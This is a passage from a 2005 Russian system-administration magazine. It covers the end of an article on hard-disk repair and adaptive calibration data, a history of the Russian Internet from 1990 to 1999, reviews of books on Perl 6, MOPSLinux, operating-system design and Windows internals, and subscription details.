сравнительно недавно. До этого индивиду-альные настройки диска сводились к вы-сокоуровневым наслоениям, никак не пре-пятствующим чтению информации на фи-зическом уровне. Перестановка плат мог-ла привести к невозможности работы с дис-ком средствами операционной системы, но данные всегда было можно прочитать посекторно стандартными ATA-командами или на худой конец на уровне физических адресов в технологическом режиме.

Но плотность информации неуклон-но росла и нормативы допусков ужесточа-лись, а, значит, усложнялся и удорожался технологический цикл. В промышленных условиях невозможно изготовить два аб-солютно одинаковых жестких диска. В ха-рактеристиках аналоговых элементов (ка-тушек, резисторов, конденсаторов) неиз-бежно возникает разброс, следствием ко-торого становится рассогласование комму-татора-предусилителя. Но с этим еще как-то можно бороться. Сложнее справиться с неоднородностью магнитного покрытия, влекущего непостоянность параметров сигнала головки, в зависимости от угла по-ворота позиционера. Таким образом, про-изводитель должен либо уменьшить плот-ность информации до той степени, при ко-торой рассогласованиями можно пренеб-речь (но в этом случае для достижения той же емкости придется устанавливать в диск больше пластин, что удорожает конструк-цию и вызывает свои проблемы), либо улучшить качество производства (но это настолько нереально, что при современ-ном уровне развития науки, экономики и техники даже не обсуждается), либо ка-

либровать каждый жесткий диск индиви-дуально, записывая на него так называе-мые адаптивные настройки. Вот по этому пути производители и пошли.

Состав и формат адаптивом меняется от модели к модели. В грубом приближе-нии сюда входят: ток записи, усиление ка-нала, профиль эквалайзера, напряжение смещения для каждой головки, таблица коррекции параметров каждой головки для каждой зоны и т. д. и т. п. Без своих родных адаптивов жесткий диск просто не будет работать! Даже если случится чудо и чужие адаптивы все-таки подойдут (а чудес, как известно, не бывает), информация будет считываться очень медленно и с большим количеством ошибок. Подобрать адаптивы нереально, рассчитать их в «домашних» ус-ловиях тоже. Но ведь как-то же эти адапти-вы возникают? Чисто теоретически, для за-полнения таблицы адаптивов не нужно ни-чего, кроме самого винчестера, и некото-рые модели жестких дисков даже содержат в прошивке специальную программу Self-Scan, как раз и предназначенную для этих целей. Да, она действительно рассчитыва-ет адаптивы с «нуля», но… при этом унич-тожает всю содержащуюся на жестком дис-ке информацию, что делает ее непригод-ной для наших целей.

Адаптивы могут храниться как на са-мом диске в служебной зоне (и тогда сме-на плат проходит на ура, но не работает Hot Swap), либо в микросхеме FLASH-ROM, ко-торую перед заменой плат следует перепа-ять. Диски без адаптивов встречаются все реже и реже, можно сказать, что практичес-ки вообще не встречаются.

Естественно, объективную оценку дать сложно, но ситуация, по тому, что мы наблюдаем, обстоит так».

ЗаключениеМы рассматривали исключительно об-щие вопросы ремонта жестких дисков, и в пошаговую методику диагности-ки не вдавались. Это обширная тема, требующая для каждой модели свое-го подхода и к тому же уже описанная в документации на PC-3000, фраг-менты которой доступны и незарегис-трированным пользователям: http://www.acelab.ru/products/pc/traning.html. Так что не будем повторяться.

Главное – что ремонт жестких дис-ков в домашних условиях все-таки возможен!

Page 90: 034 Системный Администратор 09 2005

88

ретроспектива

1990Историю русского Интернета мож-но смело начинать с 1990 года, когда в январе при финансировании амери-канской «Ассоциацией за прогрессив-ные коммуникации» из Сан-Франциско была создана общественная органи-зация «Гласнет». Название «Гласнет» тоже придумали американцы, объеди-нив слова Glasnost и Network. Эта об-щественная организация была призва-на обеспечить связью учителей, право-защитников, экологов и других гаран-тов открытого общества. В 1993 году «Гласнет» стала коммерческим про-вайдером.Позднее, 1 июля 1999 года, слилась с «Совам Телепорт». А 2 сен-тября того же года «Совам Телепорт» и «Телефонная связь Москвы» влились в ООО «ТелеРосс».

На этом знаковые события 1990 го-да не закончились. В августе была ос-нована компьютерная сеть «Релком» (название образовано от RELiable COMmunications – надёжная связь). В работах по созданию сети принима-ли участие специалисты кооператива «Демос» (впоследствии ООО «Ком-пания «Демос»), большинство из них

являлись сотрудниками Курчатовско-го института. Уже к концу года к сети были подключены около 30 организа-ций, среди которых центры российс-кой науки в Серпухове, Санкт-Петер-бурге, Новосибирске, Дубне. Сеть ба-зировалась исключительно на техно-логии электронной почты UUCP, при-чем с возможностью переписки и на русском языке.

В феврале 1991 года состоялся первый сеанс связи между Москвой и Барна-улом посредством модемной связи на скорости 9600 бод с использованием базового протокола TCP/IP. А 1 мая ко-личество внутрироссийского сетевого трафика превысило обмен между нами и Западом. Сеть стала действительно российской.

В этом же году было освоено ис-пользование телеконференций, ко-торые через первый почтовый сер-вер обеспечивали по подписке до-ставку сообщений до пользователей. А Институт коммерческой инженерии начал проект «ИнфоРынок», ставив-ший своей задачей информационную

поддержку российского рынка цен-ных бумаг новейшими интернет-тех-нологиями.

В июле 1992 года сеть «Релком» была официально зарегистрирована в панъ-европейской сети EUnet под названием «EUnet/Relcom» и стала крупнейшей на Европейском континенте. А в середи-не года «Релком» начал эксперимен-тальное внедрение on-line IP-протоко-ла, обеспечивающего подключение в режиме реального времени и расши-ряющего список доступных для ис-пользования сервисов помимо элект-ронной почты.

При активном участии «Релкома» и использовании возможности сети EUnet/Relcom началась реализация проекта создания научной некоммер-ческой сети RELARN, головной орга-низацией которой является «РосНИ-ИРОС».

В этом же году был введен в дейс-твие новый канал на Запад через Ам-стердам, что примерно в четыре раза увеличило соответствующую пропуск-ную способность.

История – это нечто далёкое, что изучается современниками по книжкам в пыльных аудиториях

учебных заведений. Тем необычнее история становления «нашего» сегмента «сети всех сетей» –

она развивалась на наших с вами глазах. Кто не помнит сначала поминутных осторожных

первых шажков в «большую сеть», а потом и многочасовых зависаний на более выгодных

ночных тарифах... За период с 1990 г. по 1999 г. произошло становление не самого малого

сегмента всемирной сети Интернет.

АЛЕКСЕЙ КОРШУНОВАЛЕКСЕЙ КОРШУНОВ

С ЧЕГО НАЧИНАЛСЯС ЧЕГО НАЧИНАЛСЯРОССИЙСКИЙ ИНТЕРНЕТРОССИЙСКИЙ ИНТЕРНЕТ

1991

1992

Page 91: 034 Системный Администратор 09 2005

89№9, сентябрь 2005

ретроспектива

С 1993 года ведет свою историю компа-ния «Демос Он-Лайн», которая с сере-дины следующего года получила пер-вых пользователей, а впоследствии стала одним из крупнейших провай-деров России.

В 1994 году был зарегистрирован до-мен RU, что можно считать официаль-ным началом русскоязычного Интерне-та. В рамках государственной програм-мы «Университеты России» начинает-ся создание опорной инфраструктуры, объединяющей университетские сети в различных регионах России, – буду-щей сети RUNNet (Russian Universities Network). Первая очередь охватыва-ла шесть российских регионов и была реализована уже в начале 1995 года. Связь осуществлялась на базе систем спутниковой связи с двумя управляю-щими центрами в Москве и Санкт-Пе-тербурге. К 1996 году сеть работала в пятнадцати регионах.

По инициативе МГУ, поддержанной «Релкомом», «Демосом» и другими крупными интернет-провайдерами, создан первый в России узел обме-на IP-трафиком на Московской меж-дугородной телефонной станции М-9 (М9-IX – один из самых крупных по-добных узлов в Европе). Это позволи-ло ряду российских интернет-провай-деров напрямую обмениваться сете-вым трафиком с использованием об-щего оборудования для уменьшения транзитного трафика.

Первая русскоязычная доска объ-явлений была открыта в 1995 году. Она обеспечивала связь для пользо-вателей первой русскоязычной игры «Буриме».

В этом же году «Учительская газе-та» закрепила за собой право первой выпустить электронную версию своего издания. С мая 1995 года ведёт свою

историю агентство «РосБизнесКонсал-тинг», запустившее собственный сер-вер в Интернете и ставшее впоследс-твии одним из самых популярных и ува-жаемых среди деловых русскоязычных пользователей сети Интернет.

Проект Комкон, предоставивший возможность бесплатного размещения в сети для различных русскоязычных некоммерческих проектов, первым из которых стала электронная библи-отека, был запущен в мае 1995 года и существует по сей день.

В сентябре того же года «Демос» открывает каталог ресурсов Russia on the Net, а компания «Россия-он-лайн» становится первым массовым ком-мерческим провайдером и открывает собственный информационный сайт.

8 ноября 1995 года основан по-пулярнейший ресурс www.anekdot.ru Дмитрия Вернера. При поддержке провайдера Cityline он был перенесён в Россию и долгое время удержи-вал лидирующие позиции в рейтин-ге rambler top100. Именно этот ресурс в феврале 1998 года впервые в исто-рии возглавил одну из категорий все-мирного рейтинга World Top 1000.

В конце 1995 года по инициативе Федерального агентства правительс-твенной связи и информации (ФАПСИ) началась работа по созданию и реали-зации проекта «Деловая сеть России». Проект предусматривал построение сети для коммерческого применения с учетом ее специфики, включая ре-шение проблемы обеспечения сохран-ности информации. Участники проек-та – ФАПСИ, «Ростелеком», «Релком», «Роспак» и ряд других организаций.

Тогда же Совет по международным исследованиям и научным обменам США (IREX) начал реализацию про-граммы «Расширение доступа к Интер-нету», которая обеспечивала бесплат-ный доступ к электронной почте, Интер-нету и обучение выпускникам по про-граммам, финансируемым правитель-ством США, высшим учебным заведе-ниям, библиотекам и некоммерческим организациям на территории СНГ.

1996 год, помимо создания многочис-ленных первых ресурсов, которые по-

ложили начало целой плеяде подобных ресурсов в будущем, ознаменовался началом осуществления Межведомс-твенной программы «Создание нацио-нальной сети компьютерных телеком-муникаций для науки и высшей шко-лы». Позднее она получила название RBNet и занималась координировани-ем деятельности четырех ведущих ве-домств в сфере науки и образования: Министерства науки и технологии, Ми-нобразования, РАН и РФФИ, а также Госкомсвязи РФ.

В то же время в марте 1996 года Институт «Открытое общество» (фонд Сороса) приступил к реализации про-граммы «Университетские центры Ин-тернет», рассчитанной на пять лет – до 2001 года. Программа осуществля-ется совместно с Правительством Рос-сийской Федерации. Приобретение оборудования и финансовая подде-ржка университетских центров Интер-нета в объеме 100 миллионов долларов осуществляются фондом Сороса. Пра-вительство России финансирует в объ-еме 30 миллионов долларов спутнико-вые или наземные каналы для подклю-чения к российским и международным сетям телекоммуникаций с пропускной способностью 256 килобит в секунду.

Из наиболее значимых ресурсов, созданных в этом году, можно отметить поисковую систему rambler.ru. Это про-ект компании «Стек» впоследствии благодаря выдающимся показателям по проиндексированным документам и сервера быстро обойдет другие попу-лярные поисковые сервера и некоторое время будет находиться в лидерах.

В Интернет входят радиостанции. Радио-101 первым открывает свой ин-формационный сайт и приступает, по-мимо УКВ-диапазона, к трансляции своих программ через Интернет. Радио «Серебряный дождь» идёт ещё дальше и первым в Европе начинает круглосу-точное непрерывное вещание через Ин-тернет в режиме реального времени.

Вообще 1996 год был крайне богат на события, особенно касающиеся от-крытия в будущем наиболее популяр-ных ресурсов. Среди них чат «кроват-ки», первый номер «zhurnal.ru», «чёр-товы кулички» и прочие не менее ин-тересные ресурсы. Также в этом го-ду на российский рынок вышли такие игроки, как провайдер Cityline, кото-рый благодаря массированной рек-

1993

1994

1995

1996

Page 92: 034 Системный Администратор 09 2005

90

ретроспектива

ламной кампании в 1997 году извес-тен уже всем русскоязычным пользо-вателям Интернета.

В 1997 году компания Mirabilis выпус-тила первую версию программы ICQ, которая в дальнейшем стала популяр-нейшим инструментом общения в ре-альном времени, вытеснив на обочи-ну истории технологию IRC. Менее чем через полтора года количество рус-ских пользователей ICQ оценивалось в 65-130 тыс. человек.

4 февраля на сервере Cityline откры-лась служба TrubAddUrl – система ав-томатизированной подачи информации об интернет-ресурсах (включая их URL и описание) одновременно в десять по-исковых машин и каталогов русской Се-ти, а также в «культовую российскую «искалку» AltaVista». В октябре того же года служба была доработана и пере-именована в «Систему TAU».

16 марта того же года состоял-ся Первый Российский Интернет Фо-рум, организованный РОЦИТ и Изда-тельским домом «Открытые системы». Главная тема дискуссий «Использо-вание Интернет в корпоративных се-тях». В работе форума приняли учас-тие около трехсот человек, представ-лявших почти 200 российских и запад-ных компаний.

Рейтинговая система Rambler’s Top 100 стартовала 24 марта 1997 года. Она позволила всем желающим уста-новить на заглавную страницу свое-го сайта счетчик посещений и принять участие в рейтинге популярности сай-тов российского Интернета в различ-ных категориях.

15 июля издательство «Инфоарт» объявило о создании первых офици-ально зарегистрированных русско-язычных push-каналов персональной доставки заказной информации по се-ти Интернет.

13 августа может считаться днём начала борьбы с баннерами, так как вступила в действие баннерная сеть Reklama.ru. 10 января следующего го-да под названием Reklama.ru 2.0 поя-вилась ее усовершенствованная вер-сия. Благодаря более совершенной тех-нологии (RotaBanner), использованию

«зеркал» и возможности контролиро-вать целевую аудиторию, Reklama.ru в короткий срок вытеснила с рынка свое-го предшественника – рекламную сеть «Спутник».

15 сентября открылась бесплатная почтовая служба Pochta.ru. Из-за несо-вершенства программного обеспече-ния она так и не смогла нормально за-работать и вскоре была закрыта.

23 сентября произошло одно из са-мых знаменательных событий 1997 го-да – официальное открытие поисковой системы Яndex.ru, позволяющая про-изводить поиск в русской Сети с пол-ным учетом морфологии русского язы-ка. Новая поисковая система быстро совершенствуется: вскоре появляет-ся возможность формулировать по-исковые запросы на «естественном» (разговорном) языке, ранжировать ре-зультаты поиска, искать «похожие до-кументы» и т. д.

1997 год стал отправной точкой в развитии российского Интернета, так как именно в этом году было положе-но начало открытию множества попу-лярных (и не очень) русскоязычных ре-сурсов. На всё их описание не хватило бы и целого журнала.

24 февраля 1998 года осужден Влади-мир Левин. Арестованный в марте 1995 года за компьютерное ограбление «Си-тибанка» российский хакер был приго-ворен судом Нью-Йорка за хищение 3,7 млн. долларов к трем годам тюрь-мы и денежному штрафу в размере 240 015 долларов.

28 апреля. Радио 101 становится первой русской радиостанцией, коли-чество потенциальных слушателей ко-торой в Сети практически не ограни-чено (возможно 60000 одновремен-ных соединений). А уже 7 мая начина-ет работу RadioNet – первая в России радиопрограмма, выходящая только в Интернете. Ведущий – Алексей Анд-реев. К марту 2000-го вышло 20 пере-дач, включая 5 передач из цикла «Го-лоса русского Интернета» (интервью с известными сетевыми деятелями).

28 июня на сайте «Московского ли-бертариума» открылся раздел «Регу-лирование и экономика СОРМ для се-

тей документальной электросвязи», посвященный обсуждению СОРМ-2 – «системы оперативно-розыскных ме-роприятий». Она позволяла «эффек-тивно обходить сотрудникам ФСБ тре-бования Конституции и действующего законодательства в части обязатель-ности судебного решения для ограни-чения тайны переписки, телефонных переговоров, телеграфных и иных со-общений применительно к компью-терным сетям, в частности Интернет». Публикация новостей, исследований, комментариев, а также проведение различных акций, направленных про-тив СОРМ-2, привело к тому, что ин-формация о проекте СОРМ-2, позволя-ющем осуществлять тотальную слеж-ку за гражданами, стала достоянием широкой общественности.

Согласно исследованию, прове-денному в июле московским офисом International Data Corporation (IDC), ко-личество пользователей российского Интернета достигло 1,2 млн. (в 1996-м их было всего 384 тыс.).

17 августа разразившийся финан-совый кризис спровоцировал ажиотаж-ный спрос на финансово-политическую информацию. Лидером по ее предо-ставлению стал сервер РИА «РосБиз-несКонсалтинг». В связи с резко воз-росшей посещаемостью сервера РБК 17 августа агентство расширило канал в Интернете с 512 Кбит/c до 1,1 Мбит/с. Однако и этого оказалось недостаточ-но. Уже 26 августа канал был расши-рен до 2,2 Мбит/с, а 21 сентября – до 3,2 Мбит/с. (Следующий всплеск по-сещаемости РБК произошел в марте 1999-го в связи с повышенным интере-сом к событиям в Югославии – канал снова был расширен, на этот раз до 5,5 Мбит/с.) 5 ноября РИА «РосБизнесКон-салтинг» удостоено наивысшей награ-ды конкурса «Бизнес-Сайт’98» – ГРАН-ПРИ. А 1 октября РБК установил свое-образный рекорд посещаемости в рос-сийском Интернете – количество захо-дов на сервер превысило 3 млн.

1 ноября открылась бесплатная почтовая служба Mail.ru. В отличие от предшествующих попыток созда-ния такого сервиса в российской сети (Extranet и Pochta.ru) проект оказался очень удачным. Позднее 20% акций компании Port.ru, создавшей этот сер-вис, было продано иностранным инвес-торам за 940 тыс. долларов, в резуль-

1997

1998

Page 93: 034 Системный Администратор 09 2005

91№9, сентябрь 2005

ретроспектива

тате чего капитализация компании, все имущество которой – несколько ком-пьютеров и интеллектуальная собс-твенность, составила 4,7 млн. долла-ров. Это можно считать первой круп-ной сделкой в российском Интернете. 5 марта 1999 года количество заре-гистрированных пользователей Mail.ru составило 100 тыс., 27 сентября – 500 тыс., а 29 февраля 2000 года до-стигло миллиона.

Согласно отчету РОЦИТ за 1998 год, количество российских пользова-телей Интернета составило на конец года около 1,5 млн. Качественный со-став пользователей: более 85% – муж-чины, около 55% имеют высшее обра-зование; около 80% русскоязычных пользователей живут в России, почти половина из них – в Москве. В стране действует более 300 интернет-провай-деров; создано свыше 26 тыс. инфор-мационных ресурсов; общий объем ин-формации на русском языке в российс-кой Сети – не менее 0,5 терабайта.

22 января 1999 года Яndex приступил к еженедельному мониторингу интере-сов пользователей русской Сети, введя НИНИ-индекс (расшифровывается как «Непостоянство интересов населения Интернета») – коэффициент измене-ния интересов пользователей Интерне-та. Индекс, публикуемый по понедель-никам, отражает рост и падение числа запросов пользователей по определен-ным ключевым словам, популярность которых пережила наиболее заметные сдвиги за последнюю неделю.

5 марта знаменательно использо-ванием Сети как средства дезинфор-мации. Поздно вечером в «Дискуссии «Полит.ру» появилось сообщение о са-моубийстве губернатора Санкт-Петер-бурга Владимира Яковлева. Через не-сколько часов сообщение повторили Gazeta.ru и Forum.msk.ru. Вскоре выяс-нилось, что это дезинформация; пос-ледовало опровержение. Тем не менее пресса откликнулась статьями (12 мар-та в «Новых Известиях» и 19 марта в «Комсомольской правде»), где вы-сказывалось представление об Интер-нете в целом как среде анонимных по-литических провокаций.

14 мая – открытие RB2, реклам-ной сети, созданной Студией Арте-мия Лебедева, с форматом баннеров 100x100 пикселей. Меньше чем за ме-сяц сеть RB2 выходит на миллион по-казов баннеров в сутки. Попутно на-чинаются разработки «баннерорезок», впоследствии так и не ставших чрез-мерно популярными.

21 июля разгорается скандал, свя-занный с публикацией в Сети романа Владимира Сорокина «Голубое сало». Обсуждение частного вопроса – пуб-ликация романа без разрешения авто-ра – перерастает в глобальную дискус-сию по проблеме авторских прав в Ин-тернете. Автор романа и издательство Ad Marginem, которому принадлежит эксклюзивное право на публикацию романа, подают в суд на Андрея Чер-нова и требуют «обязать ответчика ус-транить с его сайта любые возможнос-ти по доступу к тексту романа «Голубое сало», в том числе ссылки на любые ад-реса в Интернете, с которых возможна загрузка данного произведения». 18 ян-варя 2000-го дело разрешается побе-дой Чернова – суд отклоняет иск.

Открыта круглосуточная ново-стная интернет-служба Lenta.ru – но-вый результат сотрудничества Фонда эффективной политики с командой, создавшей в декабре 1998 года про-ект Gazeta.ru. Главный редактор изда-ния – Антон Носик. За короткие сроки Lenta.ru стала крупнейшим информа-ционным ресурсом в российском Ин-тернете. В марте 2000 года Lenta.ru бы-ла куплена инвестиционным консорци-умом «Русские фонды – Orion Capital Advisors» (Internet Holding Company), ранее приобретшим контрольный па-кет интернет-портала Rambler.

24 ноября компания «ТелеРосс», входящая в холдинг «Голден Теле-ком», который в свою очередь нахо-дится под контролем (приблизитель-но на 57%) американской корпорации GTS, объявила о приобретении петер-бургских фирм «Невалинк» и «НеваТе-леком». До того в состав «ТелеРосса» вошли компании «Совам Телепорт» и «Гласнет».

29 ноября открылся сервер SpyLOG – системы по сбору и анализу интернет-статистики. В течение следующего го-да SpyLOG станет самым популярным и авторитетным статистическим серви-сом в российском Интернете.

6 декабря открылось первое в рос-сийском Интернете медиа-байинговое агентство (агентство, специализирую-щееся на покупке рекламного места в различных средствах массовой инфор-мации, в том числе на телевидении и в печатной прессе) – Internet Media House Russia (IMHR). Учредители: Stonton Research, Фонд социальной и неком-мерческой рекламы (ФСНР), Студия Артемия Лебедева, Юлия Соловьева, Антон Носик. Председатель совета ди-ректоров – Арсен Ревазов. Генераль-ный директор – Юлия Соловьева. Од-ной из первых акций агентства стало проведение рекламной компании Ин-тернет-ресурсов на НТВ (совместно с московским представительством Intel) с 17 февраля по 2 апреля 2000 года.

10 декабря выигран первый судеб-ный иск по делу о плагиате из Интер-нета. На состоявшемся 10 декабря за-седании арбитражный суд в Москве признал издательство «Познаватель-ная книга плюс» виновным в плаги-ате и обязал его к уплате компенса-ции в 54 000 рублей в пользу постра-давшей стороны – компании Promo.Ru и ее директора Тимофея Бокарева.

Десятилетие 90-ых можно смело отнести к наиболее важным для рос-сийского сегмента сети. Именно в эти годы был заложен фундамент первых ресурсов, как виртуальных, так и фи-зических, которые впоследствии поз-волили вырасти русскому сегменту до весьма внушительных размеров.

Выражаем признательность Евге-нию Горному за предоставленные мате-риалы. Источник – http://www.zhurnal.ru/staff/gorny/texts/ru_let/index.html.

1999

От редакцииМатериалом об истории российского Ин-тернета мы открываем новую рубрику – «Ретроспектива». В ней мы планируем рас-сказывать вам об исторических событиях, имевших ключевое значение в развитии всей IT-индустрии, о технологиях, не на-шедших своего применения по различным причинам, бесславно (а иногда и намерен-но) забытых. Если вам есть о чем расска-зать – присылайте материалы на адрес [email protected], самые интересные из них мы с радостью опубликуем.

Свои отзывы и пожелания вы можете оставлять на нашем форуме.

Редактор рубрики Кирилл Тихонов

Page 94: 034 Системный Администратор 09 2005

92

книжная полка

Популярность дистрибутива MOPSLinux среди русскоязычных пользователей стремительно растет, и эта книга по-явилась очень кстати. MOPS занял очень удачную и перспективную ни-шу среди дистрибутивов. Для многих пользователей, которые решили на-чать знакомство с миром Linux имен-но с дистрибутива MOPS, данное из-дание станет просто незаменимым

В основе книги лежит описание но-вых средств шестой версии Perl. Авто-ры (которой, надо заметить, являются членами основной группы разработки языка), подробно рассказывают, ка-кие нововведения сделают Perl 6 еще более удобным и практичным языком, способным решать самые разнообраз-ные задачи. Несмотря на то что изда-ние позиционируется как справочник, его можно использовать и как основ-ной источник для изучения Perl 6.

спутником. Иллюстрированное руко-водство по установке системы помо-жет читателю установить ОС и понять общие концепции этого дистрибути-ва. После установки читателя ждет на-стройка системы, которая также осве-щена подробно, рассмотрено факти-чески все – настройка и тестирование сети, уровни запуска и остановки сис-темы, ядра, система x-windows, выбор различных desctop и window-менедже-ров, процесс загрузки системы и раз-личные boot-менеджеры. Даже если вы до текущего момента не сталкивались с Linux, после прочтения главы «Ис-пользование системы» приобретен-ные в процессе изучения материала навыки позволят общаться с системой уже на «ты» (конечно, с точки зрения пользователей, но ведь для них и на-писана эта книга). Рассмотрено факти-чески все, что вам может пригодиться на первых порах: объяснение прав до-

Pelr 6 и ParrotЭллисон Рэндал, Дэн Сугальски, Леопольд Тёч

! Издательство:

! Год издания:

! Количество страниц:

! ISBN:

! Цена:

Книга предоставлена издательством «КУ-

ДИЦ-ОБРАЗ».

Slackware/MOPSLinux для пользователяДмитрий Крюков, Виктор Лобко, Олег Семыкин

Круг рассмотренных тем весьма ши-рок. В начале книги подробно описа-но «рождение» 6 версии. Очень любо-пытен материал, в котором авторы де-лятся своими взглядами на лингвисти-ческий, познавательный и архитектур-ный стиль разработки. Новички полу-чат необходимые сведения для нача-ла изучения в главе «Базовый синтак-сис». Использование подпрограмм (ко-торые, по сути, являются повторно ис-пользуемыми секциями кода) освеще-но в достаточной степени: рассмотре-ны параметры, аргументы, пустые под-программы, область действия подпро-грамм и многое другое. Не остались без внимания и объекты (использова-ние объектов, классы, роли, делегиро-вание). Про Parrot представлена фак-тически исчерпывающая информация: внутренняя структура (интерпретатор, ввод-вывод, объекты, расширение воз-можностей), язык ассемблера parrot (основы языка, стеки и фреймы регис-тров, лексические и глобальные пере-

менные, исключения и обработчик ис-ключений, управление потоками, собы-тия, загрузка байт-кода, классы и объ-екты, написание тестов). Раздел, пос-вященный промежуточному представ-лению Parrot (PIR), содержит следую-щие материалы: операторы, перемен-ные и константы, метки, управление по-током. Завершает книгу справочник по Parrot (в котором описаны коды опера-ций pasm, директивы и команды PIR). Несмотря на то что в данный момент нет окончательной спецификации язы-ка Perl 6, большое количество людей на-чинает на нем писать. Отличная книга для Perl-программистов и желающих быть «впереди планеты всей».

ступа к файлам, описано большинство самых используемых команд. Подроб-ное описание работы с сетью из консо-ли (ftp, почта, работа с web). Основной редактор «всех времен и народов» vi, утилиты по работе с пакетами. Адми-нистрирование системы рассмотрено также подробно, в небольшом по объ-ему тексте очень удачно изложены все основные принципы (файловые систе-мы, резервное копирование, управле-ние памятью). Завершает книгу глава, в которой рассказывается про работу в KDE. В приложении к книге вы най-дете CD с MOPSLinux.

«КУДИЦ-ОБРАЗ»

2005

320

5-9579-0086-9

≈ 206 руб.

! Издательство:

! Год издания:

! Количество страниц:

! ISBN:

! Цена:

Книга предоставлена компанией Линукс-

центр.

«БХВ-Петербург»

2005

272

5-94157-776-1

≈ 195 руб.

Page 95: 034 Системный Администратор 09 2005

93№9, сентябрь 2005

книжная полка

Это издание – лучшее из того, что опубликовано о внутреннем устройс-тве Windows. Размах и качество мате-риала поистине поражает воображе-ние. Судите сами. Концепции и инстру-менты: изучение внутреннего устройс-тва Windows. Архитектура системы: об-зор архитектуры (переносимость, SMP, масштабируемость), ключевые ком-поненты системы (ntdll.dll , исполни-

Думаю, эта книга не нуждается в пред-ставлении, и не ошибусь, если скажу, что это одна из самых ожидаемых книг на русском языке. Это издание (в ори-гинале, само собой) стало «настоль-ной книгой», или даже «библией» для многих. Отчасти благодаря ей Линус Торвальдс создал Linux, да много че-го еще произошло не без помощи тру-дов Таненбаума.

Операционные системы.Разработка и реализацияЭндрю Таненбаум, Альберт Вудхалл

Собственно, а что в ней такого уди-вительного и уникального? Я думаю, это единственная книга по проектиро-ванию операционных систем, где те-ория настолько удачно сочетается с практикой. Предложенная в книге ин-формация является фундаментальной основой для любого разработчика ОС (или желающего им стать). На протя-жении всей книги в качестве наглядно-го примера приводится ОС MINIX, ко-торую автор книги написал для обуче-ния студентов, ОС UNIX, содержание UNIX-подобных систем «изнутри». Кни-га разделена на 6 больших глав, пер-вая, по традиции это вводный мете-риал. Последняя представляет собой библиографию. На остальных главах остановимся более подробно. Процес-сы и нити: рассмотрены модели и реа-лизация процессов, межпроцессорное

взаимодействие, планирование, реа-лизация процессов. Ввод-вывод: при-нципы аппаратуры ввода-вывода, вза-имоблокировка, блочные устройства, ram-диски, часы, терминалы.

Управление памятью: подкач-ка, виртуальная память, алгоритмы замещения страниц, сегментация, об-зор и реализация управления памятью в MINIX. Реализация файловой сис-темы, безопасность и механизмы за-щиты. Отличная книга от известного специалиста.

! Издательство:

! Год издания:

! Количество страниц:

! ISBN:

! Цена:

Книга предоставлена издательством «Пи-

тер».

«Питер»

2005

576

5-469-00148-2

≈ 578 руб.

Внутреннее устройство Microsoft Windows: Windows Server 2003, Windows XP, Windows 2000Марк Руссинович, Дэвид Соломон

тельная система, ядро, драйверы ус-тройств), системные механизмы: дис-петчеризация ловушек, диспетчер объ-ектов, синхронизация, трассировка со-бытий ядр, wow64. Механизмы управле-ния: реестр, сервисы, WMI. Запуск и за-вершение работы системы. Процес-сы, потоки и задания: внутреннее уст-ройство процессора, что делает функ-ция CreateProcess, наблюдение за ак-тивностью и планирование потоков. Уп-равление памятью: введение в диспет-чер памяти, его сервисы, системные пу-лы памяти, структура виртуального ад-ресного пространства. Защита: клас-сы безопасности, права и привилегии учетных записей, аудит безопасности. Подсистема ввода-вывода: драйверы устройств, обработка ввода-вывода, диспетчер PnP, диспетчер электропи-тания. Управление внешней памятью:

драйверы дисков, управление томами. Диспетчер кеша: размеры и структу-ры данных кеша, интерфейсы файло-вых систем. Поддержка сетей: сетевые API, драйверы протоколов. Книга реко-мендуется всем без исключения адми-нистраторам и системным программис-там, занимающимся Windows. Матери-ал предполагает достаточный уровень знания у читателей. Несмотря на слож-ность описываемых тем, книга написа-на простым и доступным языком.

! Издательство:

! Год издания:

! Количество страниц:

! ISBN:

! Цена:

Книга предоставлена издательством «Пи-

тер».

«Питер»

и «Русская редакция»

2005

992

5-469-0117407

≈ 735 руб.

Обзор книжных новинок подготовил Александр Байрак

Page 96: 034 Системный Администратор 09 2005

94

подписка на 2006 год

Российская Федерация! Подписной индекс: 81655 Каталог агентства «Роспечать»! Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог»! Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская

доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Агентство «ООО Урал-Пресс» (343) 375-62-74! Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru

СНГ В странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номен-клатуры АРЗИ: ! Азербайджан – по объединенному каталогу российских

изданий через предприятие по распространению печа-ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

! Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс»

! Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)

! Узбекистан – по каталогу «Davriy nashrlar» российские издания через агентство по распространению печати «Davriy nashrlar» (7000029, г. Ташкент, пл. Мустакиллик, 5/3, офис 33)

! Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Давида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул. Са-рьяна, 22)

! Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29) и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)

! Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)

по списку через ГУП «Почта Приднестровья» (МD-3300, г. Тирасполь, ул. Ленина, 17)

по прайслисту через ООО Агентство «Editil Periodice» (2012, г. Кишинев, бул. Штефан чел Маре, 134)

! Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220

Подписные индексы:

81655

по каталогу агентства «Роспечать»

87836

по каталогу агентства«ПрессаРоссии»

Page 97: 034 Системный Администратор 09 2005

95№9, сентябрь 2005

подписка на 2006 год

Стоимость подписки через редакцию:

900* руб.за полгода

1800* руб.за год

При оформлении подписки до 1 января 2006 года – скидка 10%

Редакционная подпискаОткрыта подписка через редакцию журнала «Системный администратор». Вы можете оформить подписку на любое количество номеров 2006 года. Редакция не высылает жур-налы за пределы Российской Федерации.

Для юридических лиц:! Отправте заявку по факсу (095) 928-82-53 или по e-mail:

[email protected].! Укажите наименование и банковские реквизиты своей

